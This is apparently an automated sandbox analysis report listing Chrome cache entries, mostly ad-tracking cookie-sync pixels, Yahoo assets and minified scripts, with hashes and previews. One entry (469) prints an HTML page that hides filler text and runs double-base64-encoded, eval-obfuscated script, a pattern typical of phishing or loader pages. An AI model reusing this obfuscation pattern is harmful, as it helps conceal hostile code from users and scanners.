Preview:	PubMatic.loadAsyncImagePixel('https://thrtle.com/insync?vxii_pid=10067&vxii_pdid=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://us-u.openx.net/w/1.0/sd?id=540245193&val=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://crb.kargo.com/api/v1/dsync/Martin?exid=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://sync.bfmio.com/sync?pid=187&uid=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B&gdpr=0&gdpr_consent=');PubMatic.loadAsyncIframePixel('https://match.prod.bidr.io/cookie-sync/pm?gdpr=0&gdpr_consent=');PubMatic.loadAsyncIframePixel('https://sync-tm.everesttech.net/upi/pid/b9pj45k4?redir=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9MjE5MSZ0bD0yNTkyMDA=&piggybackCookie=${TM_USER_ID}&gdpr=1&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://pubmatic-match.dotomi.com/match/bounce/current?networkId=17100&version=1&nuid=EE7B5

Chrome Cache Entry: 457

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	17
Entropy (8bit):	3.1751231351134614
Encrypted:	false
SSDEEP:	3:RWWMLGoWoX1:jMLGoWoF
MD5:	0DE65A816E5D966222F1981F4BEF4133
SHA1:	F556E06887047A75439DE24ED1041D8ED9698E01
SHA-256:	1BD8703D9DD2A10CCA49E6A4CDBEB588CEFA6424A5E6E2FF9C2AABE56DD797DB
SHA-512:	405D0EFA3A0B2F70B2735910586C12BF7C821710D798967E4B492293321C3B0E55896B5BFB9EEAE943B291EDBFF6AC7BE5146978CD872788D12C628DF462E172
Malicious:	false
Reputation:	low
Preview:	Missing ads array

Chrome Cache Entry: 458

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (16072), with no line terminators
Category:	downloaded
Size (bytes):	16072
Entropy (8bit):	5.511526781045287
Encrypted:	false
SSDEEP:	384:DnAJ01yJnUyOd1VxkZjhwq9+5yu85w+TINmNPvncG:jAJ00JnLOH4ZjhwDi2+0s9t
MD5:	1EFFFD6CB33146ADD963FAED777BEF4E
SHA1:	E02756C23FF8938F41B45C054F2DF1E74017AF4B
SHA-256:	C861DD92BE984FE498ECE34C0F3C921861AC51BFEE50323FCAE21231ABF7A82B
SHA-512:	C18BC005BD7EE270D1A009801311F2CD53DCB5E6E669216AEA55393FC30B642749926E357370D39FB013E0D9EC1BF781869AB5C568AC09529477DEF0192D3154
Malicious:	false
Reputation:	low
URL:	https://ads.pubmatic.com/AdServer/js/user_sync.html?kdntuid=1&p=133799&gdpr=0&gdpr_consent=&us_privacy=1YNN&gpp=DBAA&gpp_sid=-1
Preview:	<html><body><script type="text/javascript">(function(){var aa=window,p=navigator,aj=aa.top\|\|aa,ak=aa.location.search.substr(1),A=encodeURIComponent,W=decodeURIComponent,aA=aa.parseInt,P=aa.PubMatic\|\|(aa.PubMatic={}),K=0,ad=0,b=0,ap="pubmatic.com",V="ads."+ap,am=1,Q="https://",a=(aa.__cmp?1:0),ao=function(aF){return typeof aF==="function"},av=console.log.bind(console,"PubMatic:"),au=function(aJ,aI){var aG=0,aF=aJ.length,aH=false;for(;aG<aF;aG++){if(aJ[aG]===aI){aH=true;break}}return aH},n=function(aF,aI){var aH=aa.document.createElement("script");aH.type="text/javascript";aH.src=aF;aH.async=true;if(ao(aI)){aH.onload=aH.onreadystatechange=aI}var aG=aa.document.getElementsByTagName("script")[0];aG&&aG.parentNode&&ao(aG.parentNode.appendChild)&&aG.parentNode.appendChild(aH)},ar=function(aH){var aG=aa.document.createElement("iframe");aG.src=aH;aG.style.height="0px";aG.style.width="0px";aG.style.display="none";aG.height=0;aG.width=0;aG.border="0px";aG.hspace="0";aG.vspace="0";aG.marginWidth=

Chrome Cache Entry: 459

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 240 x 34, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	2331
Entropy (8bit):	7.732123200569469
Encrypted:	false
SSDEEP:	48:HCPVHbdLb/levTWdqgmGYDQpuYpdKqLxoh5F:HCNHxL4O0QpXKqOt
MD5:	D0E45188F6A8F2E8F2528E762FE55D33
SHA1:	42A007181ABDADCC4C79D03D74B08F39DDDC5127
SHA-256:	DEB2DC4C95EA5B692229713672E7AEAE32B3914BAFCD63F926116D6637BD1976
SHA-512:	0FD2F174A63472217D8BC23DE69DCBCAA1A583DED45152430D1A5BA455F6B1F360815DB34B5C8F96DA7DAAE232DB52197775F7F50955F497D6B664EB93B58800
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/cv/apiv2/yahoo_weather_web/accuweather-horizontal.png
Preview:	.PNG........IHDR.......".....V}.....{PLTE............................................................................................................................x.....(tRNS....!.k6...L........)....Y..D..q>.wdS_._.D...'IDATh..Y.0.M............!.^..z.....&.d.......,...@.....m.&x..l....M.-.k4....kZa.........Y..F....=I..jx.C..H..W......e....o.oO.\|..D..?#.D.{~..own...S.........7..K.....<...nA..~.8."q.@....C2...j...>..t}....(..M..@^....a..x..~J8.n{.G..b$..m_%.Y.........X.X)..Y.b.qk..].....`z...1=...vu..dj..7c').h....L..0.+eBC...S.....jyzb.\.........3G1K..`..{Kl..{_%....F.....g....h.)n..F...-&...K....)6...hV.e.#3.N..O,.....~'..s....SZ..!.).0..u.....v.1.....<...F...O.O...@....Bk.j.8[.D.4Y.5...h.-..:dAIzn.)>...\..1.....s.#[.{.....}.+.3....T.w..F.#.aaa.....7.5..QR...Q....].#..n....R..`,q...n..B:..4...=.w.../..fNN...<.P..j.U...D...c.T.(.R.X8..~el..>.h.]]5\....6.-...9#.$.:..a6..1.U..`L.4.%...v....+D.eN.znm....v...H..T....o...;)X.\..0...x..5}B...Q.

Chrome Cache Entry: 460

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 28108, version 1.0
Category:	downloaded
Size (bytes):	28108
Entropy (8bit):	7.992351824245756
Encrypted:	true
SSDEEP:	768:o6m1WFrUPQJP0/BW6+Vg3dLCwJqMFkAY3dNh5r8uvp:W1coPQ6Fig3FCiqMu9
MD5:	58B9E3CA84ACCC5D50AC893317CD6705
SHA1:	FD393C1F50FD2F771DEB92BF8B26BD39F97DB2C5
SHA-256:	22E9E86D745200109FBCB3E96695307FEA67880FCA509728194B2CFCE3906FA7
SHA-512:	B28EC5CF5199E84F0CD3404BD3521850132B462F3587F0FA8B85805730F6A35627C16F0101246DD2FCFEF43BA20C9002B21AD6566B44E2016CF556127ECFAF4C
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/cv/ae/sports/fonts/2017/Yahoo_Sans-Bold.woff2
Preview:	wOF2......m........,..mj..............................T.`..T.....s.....h..X.....6.$..0. ..d..,...[.nq...D.QP.m.P......8'.s;..m...`.^.6....cf.....IE.L:L.m.PED.....HAQ3.#..}.J..L_:\|.\.[...........C.=.wS2]2.Y2e...O8".Hr.+.#-_.j..4.Mpw..\|h){.b..<.e`...,.I.YxXx....S.....Lp.....f{..5...c.]....{#......c.a.....Oj,.gA"....6RA....jXQ.\d....).......J_<.5.A...;5r\|...J-.E....qt...i..E.F...M..(...HVN.$_...._..7...tiAT.R.KJ..n.{Ds.....$.K......)&m.TD)5....F.Z.P....R3.I...o3..5w....'......5p..h.....Bk..U.l....=..=. iV.H....,X.o....b.w.>....2....A.....d~A..~..+..@d....A@B)Q...E..h..g..\..h....6...-"...o.E.Z..=...g.Y....%..#0$......%9......!0`...Y....Y=q...Zb]...l.Dd`..N..V.r\...t....y.@#N(\.'N}?....p.z..V..@.<....V[CB..N.u....c6x...S...{.....z).l:./{t.a.P..3.\......3..X1Y..W.;......<q...,...._9$6......b-.r..QA...$..DCj.S~`]^..}.O.oc.......J .&..m........&,A4Hn.....f.\y.%YYIV.D.KV.K.i....Q ...u._3.[.R.T*.J%..<y....4..0..6...........F.\.6.`6.=.......m...zi..o.X.

Chrome Cache Entry: 461

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.7374910194847146
Encrypted:	false
SSDEEP:	3:CU9yltxlHh/:m/
MD5:	DF3E567D6F16D040326C7A0EA29A4F41
SHA1:	EA7DF583983133B62712B5E73BFFBCD45CC53736
SHA-256:	548F2D6F4D0D820C6C5FFBEFFCBD7F0E73193E2932EEFE542ACCC84762DEEC87
SHA-512:	B2CA25A3311DC42942E046EB1A27038B71D689925B7D6B3EBB4D7CD2C7B9A0C7DE3D10175790AC060DC3F8ACF3C1708C336626BE06879097F4D0ECAA7F567041
Malicious:	false
Reputation:	low
URL:	https://ads.yieldmo.com/sync?pn_id=rc&id=LVIOSA1W-7-6DCM
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 462

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1289), with no line terminators
Category:	downloaded
Size (bytes):	1289
Entropy (8bit):	5.6153582940253575
Encrypted:	false
SSDEEP:	24:CO+yn7x1Ow7x1DG9x7z1JT+7xMSMqB0QeHDko1pKcRA6b29Bhomlg:Cm7bOw7baH7ZI7WSMqB0QevI6beBDq
MD5:	28962392BBE5B7973B00D65EF859C8CC
SHA1:	4FBC0DFB9525397953750471408B5C0E5AD7D3F3
SHA-256:	9B28A552A74A6D31E6148183510AD808E95F47A8039903107CABC8D66EA222C5
SHA-512:	0DF2160090D85AE8182FD0E03E6166CBA33D9CAEE0C7C09EE8FC53F76EE9FAD1B1973E265A1A01E29927CD5EBD9776CB4BF4B60AE00584932A8009FD0CC0823D
Malicious:	false
Reputation:	low
URL:	https://image6.pubmatic.com/AdServer/PugMaster?sec=1&async=1&kdntuid=1&rnd=13603685&p=159463&s=0&a=0&ptask=ALL&np=0&fp=0&rp=1&mpc=0&spug=1&coppa=0&gdpr=0&gdpr_consent=&us_privacy=1YNN
Preview:	PubMatic.loadAsyncImagePixel('https://synchroscript.deliveryengine.adswizz.com/syncMe?partnerDomain=mrtnsvr.com&idType=cookie&partnerUserId=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://idsync.rlcdn.com/712188.gif?partner_uid=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://bcp.crwdcntrl.net/map/c=14701/tp=MTAI/tpid=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B/gdpr=0/gdpr_consent=');PubMatic.loadAsyncImagePixel('https://pixel.tapad.com/idsync/ex/receive?partner_id=3203&partner_device_id=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B&gdpr=0&gdpr_consent=');PubMatic.loadAsyncIframePixel('https://px.owneriq.net/epm?https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMwNzMmdGw9MTI5NjAw&piggybackCookie=$UID');PubMatic.loadAsyncIframePixel('https://um.simpli.fi/pm_match?https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9MjkzNiZ0bD00MzIwMA==&piggybackCookie=uid:$UID&gd

Chrome Cache Entry: 463

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1663
Entropy (8bit):	5.182682662087708
Encrypted:	false
SSDEEP:	24:tCbYLdLGSKGQlnGMGltuNlAaGuGGuNgIGKh3En+UhJOISPOBa4xMDaKKWSyFzNIM:DJGSdQMH2N02Eg7JnIuK7cs
MD5:	7F012DED545E2C7D9157810048C3FC2A
SHA1:	A40776C20B3C4085709E70BA84C3A82D6F4B1C6E
SHA-256:	7518541791F33A6B2A9CE6CBFAA7E8CB07A664B8AE5C206C8A5F58FD4E2C2388
SHA-512:	19C6297C4843F759B46509FB95BFB861D59A30ABBD2165FAEA73336D3AEC2AB8D7D28A689C32839AE66BBF834B05A8768729265924041AD9C59EE7C5A5AEE823
Malicious:	false
Reputation:	low
Preview:	<svg width="48" height="48" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">. <defs>. <linearGradient x1="64.278%" y1="100%" x2="64.278%" y2="1.351%" id="a">. <stop stop-color="#B5BDC8" offset="0%"/>. <stop stop-color="#C7CDD2" offset="21.044%"/>. <stop stop-color="#E5EBEF" offset="100%"/>. </linearGradient>. <linearGradient x1="96.228%" y1="100%" x2="3.772%" y2="0%" id="c">. <stop stop-opacity="0" offset="0%"/>. <stop stop-opacity=".5" offset="99.926%"/>. </linearGradient>. <linearGradient x1="33.396%" y1="0%" x2="33.396%" y2="90.323%" id="d">. <stop stop-color="#FFDE00" offset="0%"/>. <stop stop-color="#FFDE00" offset="48.52%"/>. <stop stop-color="#FFAD57" offset="100%"/>. </linearGradient>. <path d="M25.418.006a13.999 13.999 0 00-13.3 12.217A9.221 9.221 0 005 13.463a10.178 10.178 0 00-4.9 7.159A9.616 9.616 0 00.7 25.6 4 4 0 004.36 28H26a14 14 0 0013.999-14.237C39.769 5.94 33.243-.218 25.418.0

Chrome Cache Entry: 464

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.5257351171929923
Encrypted:	false
SSDEEP:	3:CUEIHh/:i4/
MD5:	13E1C7A2184E36D7AE519E99B1AA226F
SHA1:	355CCAD4EAC39838E1CC76FD0B670FD2EA1E5AA3
SHA-256:	48A33CA9F42B91902D57AD8AC52E1CE32B92C8C10C732F2DBB6FE960EBFD9438
SHA-512:	B1A6CFA7B21DBB0B281D241AF609F3BA7F3A63E5668095BBA912BF7CFD7F0320BAF7C3B0BFABD0F8609448F39902BAEB145BA7A2D8177FE22A6FCEA03DD29BE1
Malicious:	false
Reputation:	low
URL:	https://pr-bh.ybp.yahoo.com/sync/openx/4e685846-9b60-a8b3-4f61-3c4cc7b54397?gdpr=0
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 465

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 356x180, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	downloaded
Size (bytes):	13456
Entropy (8bit):	7.985428476864105
Encrypted:	false
SSDEEP:	384:VkUMuAg/SIPQjUdbP/soxFtr2OBBcG0bY8rPL:1//SIPuWVFtDBH0bYQT
MD5:	F978C8BF358DC42843698227A8F92FA9
SHA1:	612ABD4F7EB4B505F8B4ADBFA4177C7CAB2BC889
SHA-256:	A65D2E191AAF34E2DF8D4E633385E722741295FFB0D9EFEA11048F7B0509E3F0
SHA-512:	16550E463BD72C0CE18681DC16A4C02BAA124F6843B1F7E10D6C8CC020D5D20B04F2F32ED24A05F832E89EEB1B2F78C3D2A06D83CF24CFD97310C1DA1E0544D8
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/uu/api/res/1.2/UBMooNKKCIrVBSrb.DltNg--~B/Zmk9c3RyaW07aD0xODA7cT04MDt3PTM1NjthcHBpZD15dGFjaHlvbg--/https://s.yimg.com/os/creatr-uploaded-images/2024-04/cd405030-049f-11ef-9c1f-972b114593c0.cf.webp
Preview:	RIFF.4..WEBPVP8 \|4..p....d...>y2.F$.!.0..P...@......q.......`..../....Y?...../.%.#....U....'.w...i3.'....w....k-.i?......../.;....G.=B....$................=\..#..y...tj4E..1g.%e....T,.MK.^....../..;.DJOD"(.6...]~.... .R.=..p.n.....4?I.!....k.wt+..D.K......4..=..i.v..<..F....#....mU....e....bc....r...iM}....$2.0...d...m....g.Qc)....R.~.'.....].w...b......z.t,j-a\..Y6$-.?...k/##...Fz...z...-#(.......P....B.v..:.5...-.XW5D....^..>..r..^...3=;...F`.t.\|.}..^.oe..&PL...?..F.(.<.l.l..MC.. .....pPd...c..".8.Q..{.&..nX.aQ...6.e...O.J.Re[...F...k.q...\|B[T...w"..m.....o{....."._.&......@u@..)..s......;qm..wE{.).Ai..j.4H'.u..%..&...D....+..P.k&r....7.[mb.........\|.b..C,..J^.#...6._S.j7..P9w.S..D'..d...g......Tn.Z....!..u...k>[...^..'..\|C.....P>.D.h....TX...J.....z...i.:.c*"O...-....8...{.}p..Z.}.\|..-...&o........L....}.<.......p.=..xT.....\|......Il/.y.t..,?. K..=`.g....j..Rb...Q..F...........f. 7uW2.4.Ly...r>....=.........F.=..hU.IRm.o......>.:L.F..h....C

Chrome Cache Entry: 466

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4365), with no line terminators
Category:	downloaded
Size (bytes):	4365
Entropy (8bit):	5.145735525465993
Encrypted:	false
SSDEEP:	96:3hNzEpwq1krLq1Jr/9Ipefr4qN1lnA7O39IptQbmGMakwQy+p:3zEwuuLul/2pefN1lAC32Aa/akty+p
MD5:	9D2A8EFBE3FE9705E54DF41100EA2DAE
SHA1:	9CA39F309735BE4BDA4D6CE2D01C5F0857BD8E67
SHA-256:	F59452BBA989E5A78E9492AE296CBF910745529C3294B49A58EFA4EC7EBA8D45
SHA-512:	5D460C83F9DD30038422F843C68D1BE812E3006395355122BBA8E8608822B9751D2800FE024C85276FA36130D787364CF6CFAF333F9C0D3CC6FC2E3DEC796775
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/wf/wf-clipboard-copy-1.0.2-modern.js
Preview:	!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-clipboard-copy",[],t):"object"==typeof exports?exports["wafer-clipboard-copy"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wafers\|\|{},e.wafer.wafers["wafer-clipboard-copy"]=t())}("undefined"!=typeof self?self:this,function(){return function(e){function t(r){if(o[r])return o[r].exports;var n=o[r]={i:r,l:!1,exports:{}};return e[r].call(n.exports,n,n.exports,t),n.l=!0,n.exports}var o={};return t.m=e,t.c=o,t.d=function(e,o,r){t.o(e,o)\|\|Object.defineProperty(e,o,{configurable:!1,enumerable:!0,get:r})},t.n=function(e){var o=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(o,"a",o),o},t.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},t.p="https://s.yimg.com/aaq/wf/",t(t.s="./src/entry.js")}({"./src/entry.js":function(e,t,o){"use strict";function r(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a cl

Chrome Cache Entry: 468

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.7374910194847146
Encrypted:	false
SSDEEP:	3:CUnl/7yltxlHh/:/+/
MD5:	07FFF40B5DD495ACA2AC4E1C3FBC60AA
SHA1:	E8AC224BA9EE97E87670ED6F3A2F0128B7AF9FE4
SHA-256:	A065920DF8CC4016D67C3A464BE90099C9D28FFE7C9E6EE3A18F257EFC58CBD7
SHA-512:	49B8DAF1F5BA868BC8C6B224C787A75025CA36513EF8633D1D8F34E48EE0B578F466FCC104A7BED553404DDC5F9FAFF3FEF5F894B31CD57F32245E550FAD656A
Malicious:	false
Reputation:	low
URL:	https://thrtle.com/insync?gdpr=0&gdpr_consent=&vxii_pdid=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B&vxii_pid=12&vxii_pid1=10067&vxii_rcid=b6507934-0177-4144-a953-754c3fe638d2
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 469

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (53327)
Category:	dropped
Size (bytes):	53533
Entropy (8bit):	5.5177615612752495
Encrypted:	false
SSDEEP:	1536:ufffSdlK/4f/FSqqDguAkE5pC6vqbiKyE3tQYE3VVlzWB13LOw:ufffwcczkELCbZ2ELOw
MD5:	81587397046C020C9BA97A6F53D68AD0
SHA1:	61FA34152955EDAEF4D975F29EDDB6C5A32E7D53
SHA-256:	7B531FE3CFA57C4BB369D840621B7920F685FD9C80E4E8228DFEF6FEA28B9BA8
SHA-512:	71127CF4AF0BFF61612CCFB780B47611DFCDEB55FB0B27675F41327B951DAC76CB08ED09FEDF4399A5E4B72FB0D63357CD05E3090335167EF5FCF3DD0AE91985
Malicious:	false
Reputation:	low
Preview:	<html>.<body><span style="font-size:0 display:none; overflow:hidden; visibility:hidden;">HWJQCeBZbdjuYxNWJprauFCp3dHqSPqYEA7wezKeCnyGgQhrRWMMaccHYOPy5fjQGLsZLOdcKHioK1tz5ollb5AsYYculyMxDZMQsj8pVOBmt</span>.<script> document.write(window.atob(atob('UENGRVQwTlVXVkJGSUdoMGJXdytDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtLUEdoMGJXd2dhV1E5VTNSbGJtTnBiQ0JqYkdGemN6MGlibTh0YW5NZ1ozSnBaQ0JzYVdkb2RDMTBhR1Z0WlNJK1BITmpjbWx3ZEQ1bGRtRnNLSFZ1WlhOallYQmxLQ2QyWERFME1YSWxNakJjTVRZeEpUYzVKVE0zSlRORUpUSTNKVEkzSlROQ2NYa2xNemdsTTBSY01USXpkSEpwWERFMU5sd3hORGNsTWtVbE5qWmNNVFl5YnlVMlJGd3hNRE5jTVRVd1hERTBNVnd4TmpJbE5ETnZaR1VsTWpnbE16RWxNek1sTWtNbE16RWxNekFsTWprbE0wSWxOallsTmtaY01UWXlKVEk0WERFMU1TVXpSQ1V6TUNVelFpVTJPU1V6UXlVek1pVXpNeVV6T1NVek5pVXpRbWtsTWtJbE1rSWxNamtsTjBJbE56RmNNVGN4SlRNM0pUSkNKVE5FY1hrbE16Z2xOMFFsTTBKY01UUTJKVGMxWERFMU5pVTJNeVUzTkZ3eE5URWxOa1p1SlRJd2NTVTNPU1V6TmlVeU9DVXlPU1UzUWlVMk9TVTJOaVV5T0NVeU1XUnZZM1Z0WlZ3eE5UWWxOelFsTWtWa2IyTWxOelZjTVRVMUpUWTFiblFsTkVSdlhERTBORnd4

Chrome Cache Entry: 470

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 81 x 86, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	7835
Entropy (8bit):	7.930109831718336
Encrypted:	false
SSDEEP:	192:6PIqoR77FXqQZC1r63VlO6dU0NGcxZJDU3FR6Wcp:6PQR5qQZIutN7xZJMR6Wcp
MD5:	D0EE6041D90031B68FDF3426CC70B151
SHA1:	318FAA513C7E2FA54D629B38E3C852A3CB73E4E8
SHA-256:	F729CA40CDC9FBD6986A22A149674B5F40B7F02DD9E8BC7071DA71C79633882D
SHA-512:	EEA12C535C9AB51E42452D92C44A401F98F3CC310E1471D4C2F6603AF74BF9A4AE3A734B58B2EAAF29D710A02384FF6CA93C3533E08B8C3CE7CD0847B35F6CBF
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...Q...V.....8.......tEXtSoftware.Adobe ImageReadyq.e<...CiTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.a8d475349, 2023/03/23-13:05:45 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:C26E8A042ED511EEAD4BBEE496C644B7" xmpMM:InstanceID="xmp.iid:C26E8A032ED511EEAD4BBEE496C644B7" xmp:CreatorTool="Adobe Photoshop 24.7 (20230612.m.2205 9cfa76c) (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:2DED90FD086F11EE86A4DA2C433DF55F" stRef:documentID="xmp.did:2DED90FE086F11EE86A4DA2C433DF55F"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>3)......IDATx..\g...u.....;\..!G". AP$....I..I.hQ.d..PV...J..K...JeKe.HQ.E.b.D0....

Chrome Cache Entry: 471

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.234496061572304
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM7WsrtxBllKxt8SFFFlpimp:6v/lhPfZM1U82FFlpimp
MD5:	6C6641B08F4BE6F479F1588AF08054B3
SHA1:	8DA28B3146834C48FD843B108749191516D2A65D
SHA-256:	C2ECFF291918A3CAF0B7E470323E89F2A1F05B92E12A10649E598CACEBE62ACF
SHA-512:	BE544E3106F2B8E8083EF88B68806D6CEF2C4FBDD416C2E8EE17C88B42337A2972AF2C54CB8287A86ACCF6AC41CBCCA9A2E79F9E44417F5B144681D2B501E235
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR....................sBIT....\|.d.....IDAT..c````........N.....IEND.B`.

Chrome Cache Entry: 472

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2576)
Category:	downloaded
Size (bytes):	82359
Entropy (8bit):	5.542364860424179
Encrypted:	false
SSDEEP:	1536:2JIrJmBImu6Pd2osbkL+8kK3CD0Qt68rOcOejqk+tQ:UIQVd73EBrJOwd
MD5:	8DDBD8BAFC2492A69E46A808A5E2A727
SHA1:	9A867D5004C7230F0795A394B64A0F7D498BEA9B
SHA-256:	82DA873956888D3A0A1DB331A301C9B95DE6937C0ACF64C33A2C9FC711B7FB54
SHA-512:	1A9DDFC449A8B4B0DFCEC90DD93436460B7CF22EF01E2AEE72C5DDEF330E4A7C91C2C4B5C790C9C4CC7C6E4C79562526557D45063A7E98C9DAF259A74638E4AB
Malicious:	false
Reputation:	low
URL:	https://cdn.adnxs.com/v/s/243/trk.js
Preview:	if(typeof _lntv=='undefined'){_lntv={}}_lntv.s=function(){function __re(H){var e="";for(var p=0;p<H.length;p++){var I=H.charCodeAt(p);if(I>=97&&I<=109\|\|I>=65&&I<=77){I+=13}else{if(I>=110&&I<=122\|\|I>=78&&I<=90){I-=13}}e+=String.fromCharCode(I)}return e}var Hb='undefined',Ib='',Jb='iPhone',Kb=0,Lb='//cdn.adnxs.com/v/s/243/',Mb='//cdn.adnxs-simple.com/v/s/243/',Nb='v',Ob='script',Pb=1,Qb='s',Rb='lnt.user.agent',Sb='safari9',Tb='iOS',Ub=1000,Vb=2,Wb='unknown',Xb='edge',Yb='edge15',Zb='msie',$b='trident',_b='function',ac='native',bc='ie11',cc='webkit',dc='chrome',ec='chrome52',fc='safari',gc='gecko',hc='gecko40',ic='android',jc='linux',kc='ipod',lc='iphone',mc='ipad',nc='macintosh',oc='mac',pc='windows',qc='win',rc='CrOS',sc='chromeos',tc=3,uc=4,vc='355EB940B5BCDFF13359AFC2F0DEF56B',wc=':1',xc=':2',yc=':3',zc=':4',Ac=':',Bc='DOMContentLoaded',Cc=50;var g=Hb,h=Ib,i=Jb,j=Kb,k=Lb,l=Mb,m=Nb,n=Ob,o=Pb,p=Qb,q=Rb,r=Sb,t=Tb,u=Ub,v=Vb,w=Wb,A=Xb,B=Yb,C=Zb,D=$b,F=_b,G=ac,H=bc,I=cc,J=dc,K=ec,L=fc,M=gc,

Chrome Cache Entry: 473

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (8333), with no line terminators
Category:	downloaded
Size (bytes):	8333
Entropy (8bit):	5.145631905508549
Encrypted:	false
SSDEEP:	192:36umTu6tHB4A+gQ/cRM+OqBFgTtuSd0Vo5L50+AjKHdQ2Y8:31mi6BBL+1WByRuSd0Vo5aK3Y8
MD5:	76AEB54211FCA21EC7F4F9A39B1D88D1
SHA1:	83D1BB0D1C280D5477EE4215BCDE68C4603F027B
SHA-256:	33D8BFDA78C83DE19751EC84E1D7F40DC5D7C81E7FB822069F811A9030D2D459
SHA-512:	444578A2F4A842A4590966D1970C9AF248FB070856243916E73BA5AB7825078ABB97E131F7AE5858FD3894FDF8BB2986239427BD20ACF917DC27675E0A267507
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/wf/wf-menu-1.3.0-modern.js
